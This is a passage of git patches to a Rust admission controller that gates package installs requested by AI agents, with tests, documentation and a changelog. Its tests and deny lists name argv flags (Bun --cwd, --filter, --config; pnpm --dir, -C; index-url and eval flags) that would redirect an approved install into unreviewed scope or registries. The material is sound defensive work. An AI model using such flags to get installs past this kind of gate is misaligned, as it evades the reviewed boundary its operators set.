AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { + for scope_flag in ["--cwd=/tmp/unreviewed", "--filter=./packages/unreviewed"] { + let (policy, mut intent) = bun_install_case(); + intent.argv.push(scope_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {scope_flag} must not move an approved install into an unreviewed workspace scope" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Bun {scope_flag} must produce alternate_install_root" + ); + } +} + +#[test] +fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { + let (policy, mut intent) = bun_install_case(); + intent + .argv + .push("--config=/tmp/unreviewed-bunfig.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --config must not load an unreviewed registry or scope configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun --config must produce alternate_trust_root" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-scope-escape".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From fdb75c2abdeb2b801bc8f44bdc29ecc5e4fcfed9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:43:15 +0900 Subject: [PATCH 088/702] fix(admission): fail closed on Bun scope overrides --- crates/agent-artifact-admission/src/policy.rs | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 72bdbdaf..62b53043 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -173,7 +173,7 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec bool { .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) } -fn requests_alternate_trust_root(arguments: &[String]) -> bool { +fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", "--index-url", @@ -475,7 +475,10 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { FORBIDDEN_FLAGS .iter() .any(|flag| matches_cli_flag(argument, flag)) - }) + }) || (executable == "bun" + && arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--config"))) } fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { @@ -508,13 +511,20 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } - "pnpm" | "bun" => { + "pnpm" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } + "bun" => { + contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter"]) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } "pip" | "pip3" => { contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) } From 23863f0bc52e1a68f866e651628d3949956bac73 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:44:12 +0900 Subject: [PATCH 089/702] test(admission): cover Bun flag aliases and split forms --- .../tests/bun_scope_escape_contract.rs | 58 ++++++++++++------- 1 file changed, 37 insertions(+), 21 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index fe1a2e94..2654d9fd 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -5,48 +5,64 @@ use wardnet_agent_artifact_admission::{ #[test] fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { - for scope_flag in ["--cwd=/tmp/unreviewed", "--filter=./packages/unreviewed"] { + for scope_arguments in [ + vec!["--cwd=/tmp/unreviewed"], + vec!["--cwd", "/tmp/unreviewed"], + vec!["--filter=./packages/unreviewed"], + vec!["--filter", "./packages/unreviewed"], + vec!["-F=./packages/unreviewed"], + vec!["-F", "./packages/unreviewed"], + ] { + let label = scope_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent.argv.push(scope_flag.to_string()); + intent + .argv + .extend(scope_arguments.into_iter().map(str::to_string)); let decision = admission_decision(&policy, &intent); assert_eq!( decision.decision, DecisionKind::Block, - "Bun {scope_flag} must not move an approved install into an unreviewed workspace scope" + "Bun {label} must not move an approved install into an unreviewed workspace scope" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_install_root"), - "Bun {scope_flag} must produce alternate_install_root" + "Bun {label} must produce alternate_install_root" ); } } #[test] fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { - let (policy, mut intent) = bun_install_case(); - intent - .argv - .push("--config=/tmp/unreviewed-bunfig.toml".to_string()); + for config_arguments in [ + vec!["--config=/tmp/unreviewed-bunfig.toml"], + vec!["--config", "/tmp/unreviewed-bunfig.toml"], + ] { + let label = config_arguments.join(" "); + let (policy, mut intent) = bun_install_case(); + intent + .argv + .extend(config_arguments.into_iter().map(str::to_string)); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "Bun --config must not load an unreviewed registry or scope configuration" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_trust_root"), - "Bun --config must produce alternate_trust_root" - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {label} must not load an unreviewed registry or scope configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun {label} must produce alternate_trust_root" + ); + } } fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { From 60279df643aa36112e7ec613afdc958ea01aa33a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:46:08 +0900 Subject: [PATCH 090/702] fix(admission): reject Bun filter alias --- crates/agent-artifact-admission/src/policy.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 62b53043..1d16b351 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -519,8 +519,14 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "bun" => { - contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter"]) - || arguments.iter().any(|argument| argument == "--location=global") + contains_flag(&[ + "-g", + "--global", + "--prefix", + "--cwd", + "--filter", + "-F", + ]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) From fa22c4b279c0fbd3e3149b3c8d72c5f0bcbca47f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:47:35 +0900 Subject: [PATCH 091/702] docs(admission): trace Bun scope and config controls --- docs/doctoring/agent-artifact-admission.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 02910487..eef735ff 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -19,6 +19,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | +| Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -68,6 +69,12 @@ npm also documents `ignore-scripts` as a Boolean configuration with default `fal Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. +### Bun working directory, workspace filters and configuration + +Bun's current `bun install` CLI reference exposes `--cwd` to select a working directory and `--config` to select a `bunfig.toml`. Bun's package-filter documentation states that `--filter`, with `-F` as an alias, selects packages by name or path pattern in a monorepo and is supported by `bun install`. These inputs can move an otherwise approved package installation into a caller-selected workspace scope. + +A Bun configuration file is also security-relevant to artifact identity. Bun's registry documentation allows `install.registry` to replace the default package registry and `install.scopes` to configure per-scope private registries. Wardnet therefore rejects caller-supplied Bun `--config` rather than allowing submitted argv to select a second registry authority outside the reviewed artifact coordinate. It rejects `--cwd`, `--filter`, and `-F` as `alternate_install_root` because the broker-selected workspace remains part of admission authority. This does not claim control of Bun's ambient process environment; the execution broker/quarantine boundary must establish a controlled environment before executing an admitted intent. + ## APA 7 references Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ @@ -76,6 +83,10 @@ Astral Software, Inc. (2026). *Using environments: uv documentation.* https://do Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +Bun. (n.d.). *bun install.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/cli/install + +Bun. (n.d.). *Scopes and registries.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/scopes-registries + National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications From 86abdb91e43d154e1e194780c58b29a63bfb0c82 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:47:45 +0900 Subject: [PATCH 092/702] docs(changelog): record Bun admission hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b93cb5c7..4e4e9891 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations - Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 43837309a042a4016b5497bcda25d8e80193f0ef Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:49:10 +0900 Subject: [PATCH 093/702] test(admission): keep Bun argv construction explicit --- .../tests/bun_scope_escape_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index 2654d9fd..058542e3 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -17,7 +17,7 @@ fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { let (policy, mut intent) = bun_install_case(); intent .argv - .extend(scope_arguments.into_iter().map(str::to_string)); + .extend(scope_arguments.into_iter().map(|argument| argument.to_string())); let decision = admission_decision(&policy, &intent); @@ -46,7 +46,7 @@ fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { let (policy, mut intent) = bun_install_case(); intent .argv - .extend(config_arguments.into_iter().map(str::to_string)); + .extend(config_arguments.into_iter().map(|argument| argument.to_string())); let decision = admission_decision(&policy, &intent); From 842f84dd02854fcfcd05d63b9e2e845cb98346c3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:09:37 +0900 Subject: [PATCH 094/702] test(admission): reject pnpm directory escape flags --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index af57d836..d1e2cf0e 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -83,6 +83,29 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { } } +#[test] +fn pnpm_directory_selection_cannot_escape_the_broker_selected_workspace() { + for directory_arguments in [ + vec!["--dir", "/tmp/unreviewed-workspace"], + vec!["--dir=/tmp/unreviewed-workspace"], + vec!["-C", "/tmp/unreviewed-workspace"], + vec!["-C=/tmp/unreviewed-workspace"], + ] { + let mut arguments = vec!["add", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(directory_arguments); + let (policy, intent, label) = install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + #[test] fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { for extra_arguments in [ From 8fbd709bdaf412c7bd5c2804f39c4c33a2a92b2e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:10:51 +0900 Subject: [PATCH 095/702] fix(admission): block pnpm workspace directory overrides --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 1d16b351..c689d4ca 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -512,7 +512,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "pnpm" => { - contains_flag(&["-g", "--global", "--prefix"]) + contains_flag(&["-g", "--global", "--prefix", "--dir", "-C"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") From eec758bdbd1b16c5c1dafa2efa96d5ccab9a5dbb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:11:52 +0900 Subject: [PATCH 096/702] docs(changelog): record pnpm directory fail-closed policy --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e4e9891..191304f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 2281586ad6cf6d89bc42b6ae5629189b7b5cb1fb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:12:35 +0900 Subject: [PATCH 097/702] docs(security): trace pnpm directory authority --- docs/doctoring/agent-artifact-admission.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index eef735ff..d53a11f0 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,6 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | +| Reject pnpm working-directory overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and accepts it before or after the subcommand; its dispatch path resolves project configuration from that directory | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -65,6 +66,10 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +### pnpm working-directory authority + +pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. Wardnet maps both spellings, including attached-value forms, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory outside submitted argv. + ### Yarn Classic workspace-root override Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. @@ -99,6 +104,10 @@ npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-ins pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ +pnpm contributors. (2026). *CLI command arguments: `--dir` / `-C` working-directory option* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs + +pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs + Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html From 875ec628a4203e52f7cd59892db518618e5dbe97 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:13:48 +0900 Subject: [PATCH 098/702] test(admission): reject pnpm workspace selectors --- .../tests/pnpm_scope_escape_contract.rs | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs new file mode 100644 index 00000000..703c3010 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -0,0 +1,90 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_workspace_selectors_cannot_expand_the_broker_selected_scope() { + for scope_arguments in [ + vec!["--filter=@cwl/unreviewed"], + vec!["-F=@cwl/unreviewed"], + vec!["--filter-prod=@cwl/unreviewed"], + vec!["--workspace-root"], + vec!["-w"], + vec!["--recursive"], + vec!["-r"], + vec!["--include-workspace-root"], + ] { + let (policy, intent, label) = pnpm_case(&scope_arguments); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not widen an approved install to caller-selected workspace projects" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); + } +} + +fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, String) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ]; + argv.extend(scope_arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: "req-pnpm-workspace-scope".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: 